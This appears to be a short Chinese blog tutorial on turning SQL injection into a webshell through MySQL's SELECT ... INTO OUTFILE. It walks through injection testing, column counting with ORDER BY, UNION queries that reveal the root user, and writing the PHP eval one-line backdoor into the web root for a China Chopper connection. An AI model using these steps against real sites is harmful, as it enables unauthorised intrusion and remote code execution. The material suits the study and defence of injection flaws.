讲一下SQL注入中写一句话拿webshell的原理,主要使用的是 SELECT ... INTO OUTFILE 这个语句,下面是一个语句的例子:
SELECT * INTO OUTFILE 'C:log1.txt'
这样就可以把查询到的数据写入到C盘的log1.txt这个文件里面。利用这个原理我们可以把PHP的一句话木马写到磁盘上从而拿到webshell。
本地的目标站点来实战一下,我们的目的是在目标的物理路径D:/WWW/下面生成一个php文件,从而可以使我们用菜刀连接上去:
先简单的判断是否存在注入漏洞利用, 使用单引号'报错, 然后是and 1=1 页面正常 和 and 1=2 页面不正常判断存在sql注入漏洞,现在猜测一下字段数量。
在order by 3的时候会出现错误,2的时候正确于是猜测字段2,现在我们通过union查询语句查询一下当前的用户是谁。
当前的用户是root,于是猜测可能是file权限,试试写一下木马到网站路径,木马一定要写16进制。下面我们的一句话是 <?php eval($_POST[ximo]); ?>的16进制
然后菜刀链接。。
上面的攻击原理是最基本的into outfile的利用。